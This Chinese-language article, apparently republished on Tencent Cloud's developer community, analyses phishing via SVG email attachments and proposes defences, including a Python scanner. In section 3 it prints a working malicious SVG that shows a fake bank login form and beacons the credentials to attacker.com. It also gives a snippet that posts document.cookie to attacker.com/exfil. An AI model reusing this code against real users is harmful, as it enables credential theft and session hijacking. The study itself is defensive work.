
摘要
近年来,可缩放矢量图形(Scalable Vector Graphics, SVG)因其轻量、可缩放和跨平台兼容等优势,被广泛应用于网页设计与数字通信中。然而,随着其功能扩展,SVG逐渐暴露出安全风险,尤其在电子邮件环境中成为新型钓鱼攻击的高发载体。本文系统分析了SVG作为钓鱼攻击媒介的技术机理,包括其嵌入脚本的能力、绕过传统邮件安全检测的特性,以及攻击者利用该格式实施凭证窃取、会话劫持乃至绕过多因素认证的具体手法。通过对2024年第四季度至2025年第二季度全球多家安全厂商披露数据的整合,本文量化了此类攻击的增长趋势,并结合真实攻击样本还原攻击链。此外,文章提出了针对邮件网关、客户端及终端用户的多层次防御策略,并通过代码示例展示恶意SVG的构造方式与检测逻辑。研究表明,当前主流电子邮件平台对SVG内容缺乏有效管控机制,亟需从协议层、渲染层与策略层协同强化防护能力。
关键词:SVG;钓鱼攻击;电子邮件安全;JavaScript注入;内容过滤;安全策略
1 引言
电子邮件作为企业通信的核心基础设施,长期是网络攻击者的首要目标。传统钓鱼攻击多依赖伪装链接或携带宏病毒的Office文档诱导用户交互,但随着邮件安全网关对附件类型、URL信誉及宏行为的持续强化检测,攻击者不断寻找新的规避路径。在此背景下,SVG文件因其“图像”属性而被多数安全系统默认信任,却具备执行脚本的能力,成为理想的隐蔽攻击载体。
SVG是一种基于XML的矢量图形格式,由万维网联盟(W3C)标准化,支持内联CSS、HTML片段及ECMAScript(即JavaScript)。尽管W3C规范明确指出SVG文档可包含交互式内容,但在实际部署中,许多邮件客户端(如Outlook Web、Apple Mail、Gmail网页版)在解析SVG附件时仍会触发浏览器级渲染引擎,从而执行其中嵌入的脚本。这一特性被攻击者巧妙利用:将钓鱼表单直接嵌入SVG文件,在用户仅打开邮件(无需点击任何链接)的情况下完成凭证收集。
2024年末以来,全球多家网络安全机构相继报告SVG钓鱼攻击案例激增。据Sublime Security统计,2025年第一季度,SVG附件占其检测到的全部钓鱼尝试的1%;而相较于2024年第四季度,相关攻击数量增长达47,000%。另据行业综合数据显示,过去三个月内该类攻击同比增长230%,金融、医疗及法律服务等高价值行业成为主要目标。这些数据表明,SVG钓鱼已非偶发事件,而是演变为一种系统性威胁。
本文旨在深入剖析SVG钓鱼攻击的技术实现路径、传播机制与危害边界,评估现有防御体系的不足,并提出切实可行的缓解措施。全文结构如下:第二部分介绍SVG格式的安全特性与潜在风险;第三部分详细拆解典型攻击流程并辅以代码示例;第四部分分析当前邮件安全生态对SVG的处理盲区;第五部分提出分层防御框架;第六部分总结研究发现并展望未来方向。

SVG phishing
2 SVG格式的安全特性与风险基础
2.1 SVG的技术架构
SVG文件本质上是文本格式的XML文档,描述图形元素(如路径、矩形、文本)及其样式属性。其核心优势在于分辨率无关性与动态交互能力。例如,一个简单的SVG可定义如下:
<svg width="200" height="100" xmlns="http://www.w3.org/2000/svg">
<rect x="10" y="10" width="180" height="80" fill="blue" />
<text x="100" y="60" text-anchor="middle" fill="white">Click Me</text>
</svg>
然而,SVG标准允许通过<script>标签引入外部或内联JavaScript,亦可通过<foreignObject>嵌入完整的HTML结构。这意味着SVG不仅是静态图像,更是一个可编程文档容器。
2.2 脚本执行能力与安全边界模糊
根据SVG 1.1及后续版本规范,脚本执行受同源策略(Same-Origin Policy)约束,且现代浏览器通常在沙箱环境中限制其网络请求权限。然而,在电子邮件上下文中,这一安全模型被显著削弱:
邮件客户端渲染机制差异:部分Web邮件客户端(如早期版本的Gmail)在预览窗格中直接使用浏览器引擎渲染SVG,导致脚本在用户无感知情况下执行。
缺乏内容安全策略(CSP):邮件系统极少对附件实施CSP头控制,使得内联脚本无法被有效阻断。
用户信任偏差:收件人普遍将“.svg”视为无害图像文件,警惕性远低于.exe或.js附件。
上述因素共同构成SVG被滥用于钓鱼攻击的基础条件。

3 SVG钓鱼攻击的技术实现与攻击链示例
3.1 攻击流程概述
典型的SVG钓鱼攻击包含以下步骤:
诱饵构造:攻击者伪造企业通知、发票或签名图片,将其保存为SVG格式。
恶意载荷嵌入:在SVG中插入JavaScript代码,用于动态生成钓鱼表单或发起隐蔽请求。
邮件投递:通过SMTP服务器发送含SVG附件的邮件,主题常伪装为“重要更新”“账户验证”等。
自动触发:用户打开邮件时,邮件客户端渲染SVG,脚本自动执行。
数据窃取:用户在伪造表单中输入凭证,数据经Base64编码后通过Image Beacon或Fetch API外传至攻击者控制服务器。
3.2 恶意SVG代码示例
以下是一个简化但功能完整的钓鱼SVG样本:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="500" height="300">
<script type="application/ecmascript"><![CDATA[
function stealCredentials() {
// 动态创建钓鱼表单
const form = document.createElement('form');
form.style.position = 'absolute';
form.style.top = '50%';
form.style.left = '50%';
form.style.transform = 'translate(-50%, -50%)';
form.innerHTML = `
<label>Email: <input type="email" id="u" required></label><br>
<label>Password: <input type="password" id="p" required></label><br>
<button type="submit">Verify Account</button>
`;
form.onsubmit = (e) => {
e.preventDefault();
const u = document.getElementById('u').value;
const p = document.getElementById('p').value;
// 将凭证编码并通过图片信标外传
const img = new Image();
img.src = 'https://attacker.com/log?data=' + btoa(u + ':' + p);
alert('Verification successful. Please wait...');
// 可选:重定向至真实登录页以增强迷惑性
window.location.href = 'https://legitimate-bank.com/login';
};
document.body.appendChild(form);
}
// 页面加载完成后自动触发
window.addEventListener('load', stealCredentials);
]]></script>
<!-- 伪装为公司Logo -->
<rect x="0" y="0" width="500" height="300" fill="#f0f0f0"/>
<text x="250" y="150" font-size="24" text-anchor="middle">SecureBank Logo</text>
</svg>
该SVG在视觉上呈现为银行Logo,但一旦被渲染,即弹出看似官方的登录表单。用户提交后,凭证被编码并通过<img>标签的src属性外传——此技术称为“Beaconing”,可绕过部分CORS限制。
3.3 高级变种:绕过多因素认证(MFA)
部分攻击进一步利用会话令牌窃取实现MFA绕过。例如,若目标使用基于Cookie的会话管理,恶意脚本可读取document.cookie并发送至攻击者服务器。随后,攻击者利用该会话直接登录,无需密码或第二因子。代码片段如下:
const cookies = document.cookie;
fetch('https://attacker.com/exfil', {
method: 'POST',
body: cookies,
mode: 'no-cors' // 规避CORS错误,确保请求发出
});
尽管no-cors模式下响应不可读,但请求本身足以完成数据外泄。
4 当前邮件安全体系对SVG的处理缺陷
4.1 安全网关的检测盲区
主流邮件安全网关(如Mimecast、Proofpoint)主要依赖以下机制检测恶意附件:
文件扩展名黑名单(如.exe, .js)
静态特征码匹配
沙箱行为分析
然而,SVG文件通常不在黑名单之列,且其XML结构难以通过传统AV引擎识别恶意脚本。即使启用沙箱,若沙箱环境未模拟真实邮件客户端的渲染行为(如禁用JavaScript),则无法触发攻击载荷。
4.2 邮件客户端的不一致处理
不同客户端对SVG的支持与限制差异显著:
客户端 | 是否渲染SVG | 是否执行脚本 | 备注 |
|---|---|---|---|
Gmail (Web) | 否(转为PNG预览) | 否 | 较安全 |
Outlook Web | 是 | 是(部分版本) | 高风险 |
Apple Mail | 是 | 是 | 高风险 |
Thunderbird | 否(默认) | 否 | 较安全 |
值得注意的是,即使Gmail在Web端阻止SVG渲染,其移动端应用或第三方集成(如通过IMAP同步至其他客户端)仍可能导致SVG被执行。
4.3 用户教育的局限性
传统安全意识培训强调“勿点可疑链接”“勿开未知附件”,但SVG文件常以“公司Logo.svg”“Invoice_Q2.svg”等合理命名出现,且无明显危险标识(如.exe的警告图标),用户难以识别。
5 防御策略与缓解措施
5.1 邮件网关层面
扩展附件过滤策略:将.svg加入高风险附件类型,强制转换为静态图像(如PNG)或直接阻断。
内容深度解析:部署支持XML/JavaScript语法分析的检测引擎,识别<script>、onload、<foreignObject>等危险元素。
行为沙箱增强:在沙箱中启用完整浏览器环境,模拟用户打开邮件的行为,监控是否有网络外联或DOM篡改。
5.2 邮件客户端与终端配置
禁用SVG脚本执行:通过组策略或客户端设置,禁止邮件中SVG的JavaScript执行。例如,在基于Chromium的客户端中可设置--disable-javascript-harmony-shipping等标志。
采用安全渲染模式:将SVG附件在隔离iframe中渲染,并施加严格的CSP策略,如:
Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'unsafe-inline'
5.3 组织策略与用户培训
明确禁止业务邮件使用SVG:制定通信规范,要求所有图像附件使用JPEG/PNG格式。
开展针对性演练:在钓鱼模拟测试中加入SVG样本,提升员工对该类威胁的识别能力。
5.4 技术检测示例:SVG恶意脚本扫描器
以下Python脚本可初步检测SVG文件是否包含脚本:
import xml.etree.ElementTree as ET
import sys
def is_malicious_svg(file_path):
try:
tree = ET.parse(file_path)
root = tree.getroot()
# 检查<script>标签
if root.find('.//{http://www.w3.org/2000/svg}script') is not None:
return True
# 检查事件属性(如onload, onclick)
for elem in root.iter():
for attr in elem.attrib:
if attr.startswith('on'):
return True
# 检查<foreignObject>(可能嵌入HTML)
if root.find('.//{http://www.w3.org/2000/svg}foreignObject') is not None:
return True
return False
except Exception as e:
print(f"Parse error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python svg_scanner.py <file.svg>")
sys.exit(1)
if is_malicious_svg(sys.argv[1]):
print("[ALERT] Potentially malicious SVG detected!")
else:
print("[OK] No obvious threats found.")
该工具可集成至邮件网关的预处理流水线,作为第一道防线。
6 结论
SVG钓鱼攻击的兴起并非偶然,而是攻击者利用技术便利性与安全盲区的必然结果。其核心威胁在于将“被动图像”转化为“主动执行体”,在用户零交互前提下完成攻击。本文通过技术拆解、数据佐证与防御推演,证实该威胁已具备规模化、自动化与高隐蔽性特征。
当前防御体系的主要短板在于对“非传统可执行文件”的忽视。SVG虽属图像格式,但其编程能力使其本质上接近HTML文档。因此,安全策略必须超越文件扩展名,深入内容语义层进行风险判定。
未来工作应聚焦于推动邮件协议标准更新,明确禁止在邮件上下文中执行SVG脚本;同时,鼓励邮件服务商默认禁用SVG渲染或强制静态化处理。唯有从标准、产品与策略三层面协同发力,方能有效遏制这一新兴威胁的蔓延。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。